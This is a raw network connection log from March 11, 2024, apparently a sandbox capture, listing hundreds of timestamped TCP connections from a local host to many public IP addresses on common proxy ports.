Mar 11, 2024 16:39:43.697834969 CET	49936	12446	192.168.2.10	148.72.209.174
Mar 11, 2024 16:39:43.698538065 CET	49938	8901	192.168.2.10	94.124.16.218
Mar 11, 2024 16:39:43.698878050 CET	49937	18080	192.168.2.10	8.142.132.204
Mar 11, 2024 16:39:43.700551033 CET	49939	8080	192.168.2.10	103.115.242.192
Mar 11, 2024 16:39:43.702076912 CET	49940	80	192.168.2.10	119.81.189.194
Mar 11, 2024 16:39:43.704227924 CET	49941	1981	192.168.2.10	41.65.236.56
Mar 11, 2024 16:39:43.705490112 CET	49942	80	192.168.2.10	104.16.106.65
Mar 11, 2024 16:39:43.709274054 CET	49943	8080	192.168.2.10	38.253.232.2
Mar 11, 2024 16:39:43.709784031 CET	49944	39323	192.168.2.10	207.180.234.220
Mar 11, 2024 16:39:43.709932089 CET	80	49839	185.162.229.127	192.168.2.10
Mar 11, 2024 16:39:43.709989071 CET	49839	80	192.168.2.10	185.162.229.127
Mar 11, 2024 16:39:43.710458994 CET	49839	80	192.168.2.10	185.162.229.127
Mar 11, 2024 16:39:43.710767031 CET	8080	49782	42.200.196.208	192.168.2.10
Mar 11, 2024 16:39:43.711662054 CET	49945	4145	192.168.2.10	36.90.61.224
Mar 11, 2024 16:39:43.712795973 CET	49946	80	192.168.2.10	50.170.90.24
Mar 11, 2024 16:39:43.713489056 CET	80	49744	104.21.6.88	192.168.2.10
Mar 11, 2024 16:39:43.713834047 CET	49947	999	192.168.2.10	190.113.40.202
Mar 11, 2024 16:39:43.714564085 CET	49948	18067	192.168.2.10	72.10.164.178
Mar 11, 2024 16:39:43.716730118 CET	49949	26353	192.168.2.10	67.43.227.228
Mar 11, 2024 16:39:43.717117071 CET	49950	1080	192.168.2.10	103.234.27.153
Mar 11, 2024 16:39:43.717955112 CET	49951	8080	192.168.2.10	38.156.73.54
Mar 11, 2024 16:39:43.718491077 CET	49952	3129	192.168.2.10	103.76.253.66
Mar 11, 2024 16:39:43.720721006 CET	49953	49858	192.168.2.10	162.241.50.179
Mar 11, 2024 16:39:43.721210003 CET	49954	8080	192.168.2.10	137.59.48.20
Mar 11, 2024 16:39:43.721801996 CET	49955	3128	192.168.2.10	178.245.145.234
Mar 11, 2024 16:39:43.723434925 CET	3128	49770	46.245.77.52	192.168.2.10
Mar 11, 2024 16:39:43.723964930 CET	49956	80	192.168.2.10	218.255.187.60
Mar 11, 2024 16:39:43.724608898 CET	49957	48117	192.168.2.10	162.215.219.157
Mar 11, 2024 16:39:43.726262093 CET	49958	999	192.168.2.10	170.239.205.1
Mar 11, 2024 16:39:43.727060080 CET	80	49851	172.67.187.242	192.168.2.10
Mar 11, 2024 16:39:43.727119923 CET	49851	80	192.168.2.10	172.67.187.242
Mar 11, 2024 16:39:43.728308916 CET	49959	55198	192.168.2.10	51.89.173.40
Mar 11, 2024 16:39:43.728399038 CET	49851	80	192.168.2.10	172.67.187.242
Mar 11, 2024 16:39:43.729454041 CET	49960	80	192.168.2.10	144.24.122.46
Mar 11, 2024 16:39:43.730319023 CET	49962	55109	192.168.2.10	161.97.163.52
Mar 11, 2024 16:39:43.730456114 CET	49961	17145	192.168.2.10	67.43.236.18
Mar 11, 2024 16:39:43.733078957 CET	49963	13623	192.168.2.10	36.255.104.1
Mar 11, 2024 16:39:43.733350992 CET	80	49797	45.12.31.3	192.168.2.10
Mar 11, 2024 16:39:43.733447075 CET	80	49797	45.12.31.3	192.168.2.10
Mar 11, 2024 16:39:43.733459949 CET	80	49797	45.12.31.3	192.168.2.10
Mar 11, 2024 16:39:43.733510017 CET	49797	80	192.168.2.10	45.12.31.3
Mar 11, 2024 16:39:43.733890057 CET	49964	3128	192.168.2.10	35.237.210.215
Mar 11, 2024 16:39:43.733975887 CET	49797	80	192.168.2.10	45.12.31.3
Mar 11, 2024 16:39:43.735644102 CET	49965	59243	192.168.2.10	159.223.71.71
Mar 11, 2024 16:39:43.736227036 CET	49966	8888	192.168.2.10	51.15.242.202
Mar 11, 2024 16:39:43.736377954 CET	9039	49825	67.43.227.228	192.168.2.10
Mar 11, 2024 16:39:43.737428904 CET	49967	1976	192.168.2.10	41.128.148.76
Mar 11, 2024 16:39:43.739190102 CET	49968	3128	192.168.2.10	195.154.172.161
Mar 11, 2024 16:39:43.739233017 CET	22881	49757	208.109.14.49	192.168.2.10
Mar 11, 2024 16:39:43.739295006 CET	49757	22881	192.168.2.10	208.109.14.49
Mar 11, 2024 16:39:43.739636898 CET	49969	8888	192.168.2.10	38.156.72.135
Mar 11, 2024 16:39:43.740151882 CET	49757	22881	192.168.2.10	208.109.14.49
Mar 11, 2024 16:39:43.740350962 CET	80	49860	104.25.135.170	192.168.2.10
Mar 11, 2024 16:39:43.740407944 CET	49860	80	192.168.2.10	104.25.135.170
Mar 11, 2024 16:39:43.740931988 CET	49860	80	192.168.2.10	104.25.135.170
Mar 11, 2024 16:39:43.741314888 CET	49970	80	192.168.2.10	52.196.1.182
Mar 11, 2024 16:39:43.742105961 CET	49971	80	192.168.2.10	104.18.20.160
Mar 11, 2024 16:39:43.742202044 CET	49972	4145	192.168.2.10	142.54.229.249
Mar 11, 2024 16:39:43.744477987 CET	8081	49726	79.110.196.145	192.168.2.10
Mar 11, 2024 16:39:43.745126009 CET	49973	1488	192.168.2.10	85.94.24.29
Mar 11, 2024 16:39:43.745430946 CET	49974	51918	192.168.2.10	162.214.197.102
Mar 11, 2024 16:39:43.745913029 CET	8081	49726	79.110.196.145	192.168.2.10
Mar 11, 2024 16:39:43.745930910 CET	8081	49726	79.110.196.145	192.168.2.10
Mar 11, 2024 16:39:43.745982885 CET	49726	8081	192.168.2.10	79.110.196.145
Mar 11, 2024 16:39:43.747016907 CET	49726	8081	192.168.2.10	79.110.196.145
Mar 11, 2024 16:39:43.748017073 CET	49975	80	192.168.2.10	50.172.75.125
Mar 11, 2024 16:39:43.748785973 CET	49977	59820	192.168.2.10	107.180.88.173
Mar 11, 2024 16:39:43.749277115 CET	49976	8080	192.168.2.10	92.118.132.125
Mar 11, 2024 16:39:43.751226902 CET	49978	59870	192.168.2.10	37.187.77.58
Mar 11, 2024 16:39:43.751773119 CET	49979	38117	192.168.2.10	132.148.245.169
Mar 11, 2024 16:39:43.753664017 CET	49980	25639	192.168.2.10	67.43.227.226
Mar 11, 2024 16:39:43.755208969 CET	49981	8118	192.168.2.10	182.140.244.163
Mar 11, 2024 16:39:43.756015062 CET	49982	1080	192.168.2.10	202.142.167.210
Mar 11, 2024 16:39:43.757828951 CET	49983	45639	192.168.2.10	103.212.93.241
Mar 11, 2024 16:39:43.758034945 CET	49984	16379	192.168.2.10	163.172.171.22
Mar 11, 2024 16:39:43.759270906 CET	8081	49801	193.239.56.84	192.168.2.10
Mar 11, 2024 16:39:43.759319067 CET	49985	999	192.168.2.10	190.97.238.89
Mar 11, 2024 16:39:43.759363890 CET	49801	8081	192.168.2.10	193.239.56.84
Mar 11, 2024 16:39:43.760201931 CET	49801	8081	192.168.2.10	193.239.56.84
Mar 11, 2024 16:39:43.761204958 CET	49986	23854	192.168.2.10	51.89.173.40
Mar 11, 2024 16:39:43.762631893 CET	80	49832	50.172.218.160	192.168.2.10
Mar 11, 2024 16:39:43.762646914 CET	49987	32650	192.168.2.10	103.176.116.171
Mar 11, 2024 16:39:43.763572931 CET	49988	3128	192.168.2.10	125.99.106.250
Mar 11, 2024 16:39:43.764837027 CET	80	49811	104.17.84.150	192.168.2.10
Mar 11, 2024 16:39:43.765124083 CET	80	49811	104.17.84.150	192.168.2.10
Mar 11, 2024 16:39:43.765573978 CET	80	49811	104.17.84.150	192.168.2.10
Mar 11, 2024 16:39:43.765624046 CET	49811	80	192.168.2.10	104.17.84.150
Mar 11, 2024 16:39:43.765806913 CET	49811	80	192.168.2.10	104.17.84.150
Mar 11, 2024 16:39:43.767013073 CET	49989	5678	192.168.2.10	103.130.112.253
Mar 11, 2024 16:39:43.768210888 CET	49991	5678	192.168.2.10	178.236.122.164
Mar 11, 2024 16:39:43.769000053 CET	49992	10003	192.168.2.10	147.75.34.86
Mar 11, 2024 16:39:43.769248962 CET	49993	60069	192.168.2.10	148.72.23.56
Mar 11, 2024 16:39:43.769900084 CET	49994	9091	192.168.2.10	120.37.121.209
Mar 11, 2024 16:39:43.770911932 CET	49995	80	192.168.2.10	20.187.77.5
Mar 11, 2024 16:39:43.770988941 CET	9764	49768	162.243.102.207	192.168.2.10
Mar 11, 2024 16:39:43.771038055 CET	9764	49768	162.243.102.207	192.168.2.10
Mar 11, 2024 16:39:43.772878885 CET	49996	9764	192.168.2.10	162.243.102.207
Mar 11, 2024 16:39:43.773509979 CET	49997	8080	192.168.2.10	185.200.37.245
Mar 11, 2024 16:39:43.774435043 CET	49998	80	192.168.2.10	162.144.236.128
Mar 11, 2024 16:39:43.775738001 CET	49999	16379	192.168.2.10	163.172.165.36
Mar 11, 2024 16:39:43.776967049 CET	50000	34350	192.168.2.10	66.29.128.246
Mar 11, 2024 16:39:43.777757883 CET	50001	80	192.168.2.10	172.67.181.197
Mar 11, 2024 16:39:43.779126883 CET	50002	3128	192.168.2.10	51.178.43.147
Mar 11, 2024 16:39:43.780371904 CET	50003	28695	192.168.2.10	92.204.134.38
Mar 11, 2024 16:39:43.780518055 CET	80	49765	172.67.182.169	192.168.2.10
Mar 11, 2024 16:39:43.780880928 CET	50004	48612	192.168.2.10	191.103.219.225
Mar 11, 2024 16:39:43.781119108 CET	8089	49796	114.231.45.101	192.168.2.10
Mar 11, 2024 16:39:43.782100916 CET	9401	49821	147.75.92.251	192.168.2.10
Mar 11, 2024 16:39:43.782165051 CET	49821	9401	192.168.2.10	147.75.92.251
Mar 11, 2024 16:39:43.785655022 CET	49712	44607	192.168.2.10	162.241.6.97
Mar 11, 2024 16:39:43.785746098 CET	49709	15082	192.168.2.10	45.77.111.135
Mar 11, 2024 16:39:43.789663076 CET	49990	37355	192.168.2.10	167.172.109.12
Mar 11, 2024 16:39:43.790503025 CET	49821	9401	192.168.2.10	147.75.92.251
Mar 11, 2024 16:39:43.791544914 CET	50005	80	192.168.2.10	104.27.15.161
Mar 11, 2024 16:39:43.793086052 CET	50006	24834	192.168.2.10	107.180.88.41
Mar 11, 2024 16:39:43.793921947 CET	50007	4153	192.168.2.10	110.74.195.2
Mar 11, 2024 16:39:43.795425892 CET	50008	18374	192.168.2.10	92.205.110.118
Mar 11, 2024 16:39:43.796570063 CET	80	49769	104.17.9.114	192.168.2.10
Mar 11, 2024 16:39:43.796745062 CET	50009	55137	192.168.2.10	192.169.197.146
Mar 11, 2024 16:39:43.797727108 CET	50010	3128	192.168.2.10	178.128.148.69
Mar 11, 2024 16:39:43.799639940 CET	3128	49822	15.236.106.236	192.168.2.10
Mar 11, 2024 16:39:43.799674034 CET	50011	8888	192.168.2.10	95.164.89.123
Mar 11, 2024 16:39:43.799695015 CET	49822	3128	192.168.2.10	15.236.106.236
Mar 11, 2024 16:39:43.800014019 CET	49822	3128	192.168.2.10	15.236.106.236
Mar 11, 2024 16:39:43.800295115 CET	50012	52017	192.168.2.10	131.0.87.225
Mar 11, 2024 16:39:43.800692081 CET	50013	443	192.168.2.10	43.153.52.155
Mar 11, 2024 16:39:43.800709963 CET	443	50013	43.153.52.155	192.168.2.10
Mar 11, 2024 16:39:43.800750971 CET	50013	443	192.168.2.10	43.153.52.155
Mar 11, 2024 16:39:43.802172899 CET	50013	443	192.168.2.10	43.153.52.155
Mar 11, 2024 16:39:43.802186966 CET	443	50013	43.153.52.155	192.168.2.10
Mar 11, 2024 16:39:43.802314997 CET	443	50013	43.153.52.155	192.168.2.10
Mar 11, 2024 16:39:43.804948092 CET	50014	5385	192.168.2.10	72.10.160.170
Mar 11, 2024 16:39:43.805298090 CET	50015	443	192.168.2.10	43.153.52.155
Mar 11, 2024 16:39:43.805320978 CET	443	50015	43.153.52.155	192.168.2.10
Mar 11, 2024 16:39:43.805376053 CET	50015	443	192.168.2.10	43.153.52.155
Mar 11, 2024 16:39:43.805711031 CET	50016	80	192.168.2.10	162.159.242.138
Mar 11, 2024 16:39:43.805999041 CET	50015	443	192.168.2.10	43.153.52.155
Mar 11, 2024 16:39:43.806014061 CET	443	50015	43.153.52.155	192.168.2.10
Mar 11, 2024 16:39:43.806024075 CET	80	49819	104.16.81.76	192.168.2.10
Mar 11, 2024 16:39:43.806085110 CET	80	49819	104.16.81.76	192.168.2.10
Mar 11, 2024 16:39:43.806092024 CET	443	50015	43.153.52.155	192.168.2.10
Mar 11, 2024 16:39:43.806679010 CET	49819	80	192.168.2.10	104.16.81.76
Mar 11, 2024 16:39:43.807079077 CET	80	49819	104.16.81.76	192.168.2.10
Mar 11, 2024 16:39:43.807125092 CET	49819	80	192.168.2.10	104.16.81.76
Mar 11, 2024 16:39:43.808501005 CET	50017	80	192.168.2.10	50.168.210.239
Mar 11, 2024 16:39:43.809587002 CET	50018	1080	192.168.2.10	139.255.132.68
Mar 11, 2024 16:39:43.810746908 CET	50020	3127	192.168.2.10	59.92.70.176
Mar 11, 2024 16:39:43.810854912 CET	50019	31295	192.168.2.10	67.43.236.20
Mar 11, 2024 16:39:43.811100006 CET	45248	49895	166.62.121.127	192.168.2.10
Mar 11, 2024 16:39:43.812993050 CET	50021	3933	192.168.2.10	67.43.228.253
Mar 11, 2024 16:39:43.814524889 CET	50022	3030	192.168.2.10	158.247.207.153
Mar 11, 2024 16:39:43.816824913 CET	49725	9375	192.168.2.10	92.204.134.38
Mar 11, 2024 16:39:43.818502903 CET	4145	49856	184.170.249.65	192.168.2.10
Mar 11, 2024 16:39:43.818563938 CET	49856	4145	192.168.2.10	184.170.249.65
Mar 11, 2024 16:39:43.822084904 CET	31679	49847	98.162.25.29	192.168.2.10
Mar 11, 2024 16:39:43.822158098 CET	49847	31679	192.168.2.10	98.162.25.29
Mar 11, 2024 16:39:43.828876019 CET	4145	49850	174.64.199.82	192.168.2.10
Mar 11, 2024 16:39:43.828933954 CET	49850	4145	192.168.2.10	174.64.199.82
Mar 11, 2024 16:39:43.831864119 CET	80	49920	104.16.105.106	192.168.2.10
Mar 11, 2024 16:39:43.831945896 CET	49920	80	192.168.2.10	104.16.105.106
Mar 11, 2024 16:39:43.837990046 CET	8000	49882	178.128.156.219	192.168.2.10
Mar 11, 2024 16:39:43.844126940 CET	8197	49829	58.234.116.197	192.168.2.10
Mar 11, 2024 16:39:43.844201088 CET	49829	8197	192.168.2.10	58.234.116.197
Mar 11, 2024 16:39:43.850445986 CET	80	49890	50.168.72.112	192.168.2.10
Mar 11, 2024 16:39:43.853065014 CET	49856	4145	192.168.2.10	184.170.249.65
Mar 11, 2024 16:39:43.853074074 CET	49847	31679	192.168.2.10	98.162.25.29
Mar 11, 2024 16:39:43.853102922 CET	49850	4145	192.168.2.10	174.64.199.82
Mar 11, 2024 16:39:43.853482008 CET	49920	80	192.168.2.10	104.16.105.106
Mar 11, 2024 16:39:43.854270935 CET	3129	49798	115.248.66.131	192.168.2.10
Mar 11, 2024 16:39:43.854954958 CET	50025	7777	192.168.2.10	111.8.155.54
Mar 11, 2024 16:39:43.855026960 CET	50024	80	192.168.2.10	121.159.146.251
Mar 11, 2024 16:39:43.855552912 CET	50023	80	192.168.2.10	45.224.247.102
Mar 11, 2024 16:39:43.855766058 CET	50026	8088	192.168.2.10	179.43.8.16
Mar 11, 2024 16:39:43.856436014 CET	49829	8197	192.168.2.10	58.234.116.197
Mar 11, 2024 16:39:43.857810974 CET	4145	49898	142.54.237.34	192.168.2.10
Mar 11, 2024 16:39:43.857872963 CET	49898	4145	192.168.2.10	142.54.237.34
Mar 11, 2024 16:39:43.858052969 CET	49898	4145	192.168.2.10	142.54.237.34
Mar 11, 2024 16:39:43.858277082 CET	50027	16379	192.168.2.10	51.158.64.130
Mar 11, 2024 16:39:43.858316898 CET	50028	57391	192.168.2.10	164.92.86.113
Mar 11, 2024 16:39:43.859414101 CET	50029	999	192.168.2.10	200.52.148.10
Mar 11, 2024 16:39:43.859951019 CET	80	49942	104.16.106.65	192.168.2.10
Mar 11, 2024 16:39:43.860050917 CET	49942	80	192.168.2.10	104.16.106.65
Mar 11, 2024 16:39:43.860155106 CET	49942	80	192.168.2.10	104.16.106.65
Mar 11, 2024 16:39:43.860707045 CET	50030	19058	192.168.2.10	195.154.43.184
Mar 11, 2024 16:39:43.861082077 CET	50031	42581	192.168.2.10	207.180.198.241
Mar 11, 2024 16:39:43.861448050 CET	8000	49734	14.103.24.148	192.168.2.10
Mar 11, 2024 16:39:43.864005089 CET	50032	3128	192.168.2.10	103.231.248.98
Mar 11, 2024 16:39:43.864078045 CET	50033	26087	192.168.2.10	67.43.228.251
Mar 11, 2024 16:39:43.864690065 CET	80	49839	185.162.229.127	192.168.2.10
Mar 11, 2024 16:39:43.864756107 CET	80	49839	185.162.229.127	192.168.2.10
Mar 11, 2024 16:39:43.864960909 CET	50034	83	192.168.2.10	103.159.46.2
Mar 11, 2024 16:39:43.864984989 CET	49839	80	192.168.2.10	185.162.229.127
Mar 11, 2024 16:39:43.866691113 CET	80	49839	185.162.229.127	192.168.2.10
Mar 11, 2024 16:39:43.866735935 CET	49839	80	192.168.2.10	185.162.229.127
Mar 11, 2024 16:39:43.866924047 CET	50035	25847	192.168.2.10	62.171.131.101
Mar 11, 2024 16:39:43.868067980 CET	80	49918	50.175.212.74	192.168.2.10
Mar 11, 2024 16:39:43.868525982 CET	50036	8000	192.168.2.10	137.184.200.42
Mar 11, 2024 16:39:43.869857073 CET	50037	11070	192.168.2.10	147.124.212.31
Mar 11, 2024 16:39:43.871002913 CET	8080	49812	103.190.54.141	192.168.2.10
Mar 11, 2024 16:39:43.871059895 CET	49812	8080	192.168.2.10	103.190.54.141
Mar 11, 2024 16:39:43.871185064 CET	49812	8080	192.168.2.10	103.190.54.141
Mar 11, 2024 16:39:43.871213913 CET	50038	80	192.168.2.10	104.20.56.71
Mar 11, 2024 16:39:43.871623039 CET	4145	49883	184.178.172.14	192.168.2.10
Mar 11, 2024 16:39:43.871678114 CET	49883	4145	192.168.2.10	184.178.172.14
Mar 11, 2024 16:39:43.871786118 CET	49883	4145	192.168.2.10	184.178.172.14
Mar 11, 2024 16:39:43.872106075 CET	50039	8089	192.168.2.10	111.225.152.42
Mar 11, 2024 16:39:43.873471975 CET	50040	16379	192.168.2.10	51.15.142.4
Mar 11, 2024 16:39:43.873874903 CET	50041	80	192.168.2.10	172.67.53.215
Mar 11, 2024 16:39:43.874922991 CET	50042	27262	192.168.2.10	162.144.121.232
Mar 11, 2024 16:39:43.875986099 CET	50043	3128	192.168.2.10	113.100.209.184
Mar 11, 2024 16:39:43.877420902 CET	50044	9064	192.168.2.10	172.104.145.22
Mar 11, 2024 16:39:43.879329920 CET	50045	4153	192.168.2.10	103.83.105.167
Mar 11, 2024 16:39:43.880000114 CET	50046	80	192.168.2.10	103.96.38.161
Mar 11, 2024 16:39:43.881253958 CET	50047	80	192.168.2.10	222.255.238.159
Mar 11, 2024 16:39:43.881867886 CET	50048	999	192.168.2.10	167.249.29.218
Mar 11, 2024 16:39:43.882445097 CET	80	49851	172.67.187.242	192.168.2.10
Mar 11, 2024 16:39:43.882477045 CET	80	49851	172.67.187.242	192.168.2.10
Mar 11, 2024 16:39:43.882637978 CET	49851	80	192.168.2.10	172.67.187.242
Mar 11, 2024 16:39:43.882771969 CET	80	49851	172.67.187.242	192.168.2.10
Mar 11, 2024 16:39:43.882816076 CET	49851	80	192.168.2.10	172.67.187.242
Mar 11, 2024 16:39:43.884582043 CET	50049	16823	192.168.2.10	167.86.102.169
Mar 11, 2024 16:39:43.885173082 CET	50050	3129	192.168.2.10	20.219.177.85
Mar 11, 2024 16:39:43.886281013 CET	50051	8000	192.168.2.10	14.103.24.20
Mar 11, 2024 16:39:43.888005018 CET	80	49797	45.12.31.3	192.168.2.10
Mar 11, 2024 16:39:43.888034105 CET	50052	4153	192.168.2.10	202.166.219.80
Mar 11, 2024 16:39:43.888788939 CET	50053	10080	192.168.2.10	81.19.3.249
Mar 11, 2024 16:39:43.890218973 CET	50054	6014	192.168.2.10	45.11.95.166
Mar 11, 2024 16:39:43.891592979 CET	50055	8080	192.168.2.10	103.77.50.168
Mar 11, 2024 16:39:43.895024061 CET	49727	80	192.168.2.10	50.217.226.43
Mar 11, 2024 16:39:43.895286083 CET	80	49860	104.25.135.170	192.168.2.10
Mar 11, 2024 16:39:43.895350933 CET	80	49860	104.25.135.170	192.168.2.10
Mar 11, 2024 16:39:43.895548105 CET	49860	80	192.168.2.10	104.25.135.170
Mar 11, 2024 16:39:43.895834923 CET	5775	49915	72.10.160.92	192.168.2.10
Mar 11, 2024 16:39:43.896061897 CET	50056	5678	192.168.2.10	58.84.32.118
Mar 11, 2024 16:39:43.896250010 CET	80	49860	104.25.135.170	192.168.2.10
Mar 11, 2024 16:39:43.896284103 CET	49860	80	192.168.2.10	104.25.135.170
Mar 11, 2024 16:39:43.896367073 CET	80	49971	104.18.20.160	192.168.2.10
Mar 11, 2024 16:39:43.896464109 CET	49971	80	192.168.2.10	104.18.20.160
Mar 11, 2024 16:39:43.896595001 CET	49971	80	192.168.2.10	104.18.20.160
Mar 11, 2024 16:39:43.897360086 CET	50057	8080	192.168.2.10	74.62.179.122
Mar 11, 2024 16:39:43.898118019 CET	50058	5678	192.168.2.10	202.165.47.49
Mar 11, 2024 16:39:43.899137974 CET	50059	4145	192.168.2.10	174.64.199.79
Mar 11, 2024 16:39:43.900238991 CET	9002	49828	220.248.70.237	192.168.2.10
Mar 11, 2024 16:39:43.900280952 CET	50060	2016	192.168.2.10	103.83.178.205
Mar 11, 2024 16:39:43.900331020 CET	49828	9002	192.168.2.10	220.248.70.237
Mar 11, 2024 16:39:43.900420904 CET	49828	9002	192.168.2.10	220.248.70.237
Mar 11, 2024 16:39:43.900933027 CET	50061	58275	192.168.2.10	162.214.191.209
Mar 11, 2024 16:39:43.901395082 CET	3128	49878	18.134.236.231	192.168.2.10
Mar 11, 2024 16:39:43.901441097 CET	49878	3128	192.168.2.10	18.134.236.231
Mar 11, 2024 16:39:43.901629925 CET	49878	3128	192.168.2.10	18.134.236.231
Mar 11, 2024 16:39:43.902306080 CET	50062	443	192.168.2.10	91.231.186.133
Mar 11, 2024 16:39:43.902333975 CET	443	50062	91.231.186.133	192.168.2.10
Mar 11, 2024 16:39:43.902384043 CET	50062	443	192.168.2.10	91.231.186.133
Mar 11, 2024 16:39:43.902470112 CET	50062	443	192.168.2.10	91.231.186.133
Mar 11, 2024 16:39:43.902486086 CET	443	50062	91.231.186.133	192.168.2.10
Mar 11, 2024 16:39:43.902529001 CET	443	50062	91.231.186.133	192.168.2.10
Mar 11, 2024 16:39:43.902885914 CET	50063	443	192.168.2.10	91.231.186.133
Mar 11, 2024 16:39:43.902913094 CET	443	50063	91.231.186.133	192.168.2.10
Mar 11, 2024 16:39:43.902988911 CET	50063	443	192.168.2.10	91.231.186.133
Mar 11, 2024 16:39:43.903054953 CET	50063	443	192.168.2.10	91.231.186.133
Mar 11, 2024 16:39:43.903064013 CET	443	50063	91.231.186.133	192.168.2.10
Mar 11, 2024 16:39:43.903081894 CET	443	50063	91.231.186.133	192.168.2.10
Mar 11, 2024 16:39:43.903597116 CET	50065	443	192.168.2.10	91.231.186.133
Mar 11, 2024 16:39:43.903614998 CET	443	50065	91.231.186.133	192.168.2.10
Mar 11, 2024 16:39:43.903672934 CET	50065	443	192.168.2.10	91.231.186.133
Mar 11, 2024 16:39:43.903740883 CET	50065	443	192.168.2.10	91.231.186.133
Mar 11, 2024 16:39:43.903755903 CET	443	50065	91.231.186.133	192.168.2.10
Mar 11, 2024 16:39:43.903774977 CET	443	50065	91.231.186.133	192.168.2.10
Mar 11, 2024 16:39:43.904064894 CET	50064	5430	192.168.2.10	202.179.184.44
Mar 11, 2024 16:39:43.904093981 CET	50066	443	192.168.2.10	91.231.186.133
Mar 11, 2024 16:39:43.904109001 CET	443	50066	91.231.186.133	192.168.2.10
Mar 11, 2024 16:39:43.904156923 CET	50066	443	192.168.2.10	91.231.186.133
Mar 11, 2024 16:39:43.904239893 CET	50066	443	192.168.2.10	91.231.186.133
Mar 11, 2024 16:39:43.904253960 CET	443	50066	91.231.186.133	192.168.2.10
Mar 11, 2024 16:39:43.904275894 CET	443	50066	91.231.186.133	192.168.2.10
Mar 11, 2024 16:39:43.905208111 CET	50067	14282	192.168.2.10	192.252.208.70
Mar 11, 2024 16:39:43.906301022 CET	80	49887	50.174.145.11	192.168.2.10
Mar 11, 2024 16:39:43.906378984 CET	50068	8080	192.168.2.10	94.186.234.236
Mar 11, 2024 16:39:43.906892061 CET	80	49891	50.223.239.166	192.168.2.10
Mar 11, 2024 16:39:43.906970978 CET	50069	5678	192.168.2.10	223.25.98.82
Mar 11, 2024 16:39:43.907316923 CET	50070	8080	192.168.2.10	201.170.180.188
Mar 11, 2024 16:39:43.909054041 CET	50071	8888	192.168.2.10	93.171.220.229
Mar 11, 2024 16:39:43.909445047 CET	50072	8080	192.168.2.10	98.64.169.17
Mar 11, 2024 16:39:43.910826921 CET	50073	8123	192.168.2.10	119.81.71.27
Mar 11, 2024 16:39:43.912023067 CET	50074	80	192.168.2.10	185.238.228.67
Mar 11, 2024 16:39:43.912422895 CET	50075	42539	192.168.2.10	86.110.189.118
Mar 11, 2024 16:39:43.912863970 CET	50076	8082	192.168.2.10	58.69.201.117
Mar 11, 2024 16:39:43.917819977 CET	50077	8089	192.168.2.10	77.242.24.241
Mar 11, 2024 16:39:43.918035030 CET	50078	8080	192.168.2.10	122.52.196.36
Mar 11, 2024 16:39:43.918344975 CET	50079	25485	192.168.2.10	172.93.111.235
Mar 11, 2024 16:39:43.918572903 CET	50080	8080	192.168.2.10	93.42.151.10
Mar 11, 2024 16:39:43.918804884 CET	50081	1080	192.168.2.10	202.6.224.52
Mar 11, 2024 16:39:43.919027090 CET	50082	60080	192.168.2.10	87.255.200.108
Mar 11, 2024 16:39:43.919192076 CET	50083	5678	192.168.2.10	197.211.244.135
Mar 11, 2024 16:39:43.919435978 CET	50084	44523	192.168.2.10	192.99.207.129
Mar 11, 2024 16:39:43.919663906 CET	50085	80	192.168.2.10	5.189.184.6
Mar 11, 2024 16:39:43.920037985 CET	80	49811	104.17.84.150	192.168.2.10
Mar 11, 2024 16:39:43.920469046 CET	3128	49875	160.16.90.35	192.168.2.10
Mar 11, 2024 16:39:43.920489073 CET	50086	5000	192.168.2.10	49.228.131.169
Mar 11, 2024 16:39:43.920545101 CET	49875	3128	192.168.2.10	160.16.90.35
Mar 11, 2024 16:39:43.920623064 CET	49875	3128	192.168.2.10	160.16.90.35
Mar 11, 2024 16:39:43.921416044 CET	50087	9002	192.168.2.10	111.59.4.88
Mar 11, 2024 16:39:43.922214985 CET	50088	56350	192.168.2.10	148.66.130.53
Mar 11, 2024 16:39:43.923244953 CET	50089	8080	192.168.2.10	103.81.115.210
Mar 11, 2024 16:39:43.924937010 CET	50090	999	192.168.2.10	186.24.9.114
Mar 11, 2024 16:39:43.925789118 CET	50091	80	192.168.2.10	146.70.80.76
Mar 11, 2024 16:39:43.926249981 CET	54240	49794	200.25.254.193	192.168.2.10
Mar 11, 2024 16:39:43.926275969 CET	50092	80	192.168.2.10	23.227.38.198
Mar 11, 2024 16:39:43.926386118 CET	49794	54240	192.168.2.10	200.25.254.193
Mar 11, 2024 16:39:43.926523924 CET	49794	54240	192.168.2.10	200.25.254.193
Mar 11, 2024 16:39:43.928179979 CET	50093	7777	192.168.2.10	218.6.120.111
Mar 11, 2024 16:39:43.928179979 CET	50094	80	192.168.2.10	190.128.241.102
Mar 11, 2024 16:39:43.929603100 CET	50095	1088	192.168.2.10	117.202.20.69
Mar 11, 2024 16:39:43.931637049 CET	50096	5678	192.168.2.10	203.160.57.87
Mar 11, 2024 16:39:43.932368994 CET	3128	49889	94.131.106.196	192.168.2.10
Mar 11, 2024 16:39:43.932459116 CET	50097	31979	192.168.2.10	51.77.65.164
Mar 11, 2024 16:39:43.932461023 CET	49889	3128	192.168.2.10	94.131.106.196
Mar 11, 2024 16:39:43.933152914 CET	49889	3128	192.168.2.10	94.131.106.196
Mar 11, 2024 16:39:43.933267117 CET	50098	16379	192.168.2.10	51.158.108.134
Mar 11, 2024 16:39:43.934535027 CET	5678	49926	181.78.13.91	192.168.2.10
Mar 11, 2024 16:39:43.934562922 CET	50099	53340	192.168.2.10	162.214.225.223
Mar 11, 2024 16:39:43.935349941 CET	80	50001	172.67.181.197	192.168.2.10
Mar 11, 2024 16:39:43.935363054 CET	4444	49871	193.143.1.201	192.168.2.10
Mar 11, 2024 16:39:43.935456991 CET	50100	7853	192.168.2.10	67.43.228.253
Mar 11, 2024 16:39:43.935460091 CET	50001	80	192.168.2.10	172.67.181.197
Mar 11, 2024 16:39:43.935506105 CET	49871	4444	192.168.2.10	193.143.1.201
Mar 11, 2024 16:39:43.935585976 CET	50001	80	192.168.2.10	172.67.181.197
Mar 11, 2024 16:39:43.935710907 CET	49871	4444	192.168.2.10	193.143.1.201
Mar 11, 2024 16:39:43.937722921 CET	50101	40080	192.168.2.10	67.213.212.50
Mar 11, 2024 16:39:43.937757015 CET	50102	4153	192.168.2.10	203.76.117.74
Mar 11, 2024 16:39:43.938210011 CET	50103	40975	192.168.2.10	146.59.18.246
Mar 11, 2024 16:39:43.938318968 CET	3129	49833	20.204.212.76	192.168.2.10
Mar 11, 2024 16:39:43.938435078 CET	50104	3500	192.168.2.10	23.225.72.122
Mar 11, 2024 16:39:43.939611912 CET	50106	17893	192.168.2.10	72.10.160.90
Mar 11, 2024 16:39:43.939611912 CET	50105	8899	192.168.2.10	66.228.140.209
Mar 11, 2024 16:39:43.940642118 CET	50107	6022	192.168.2.10	186.215.87.194
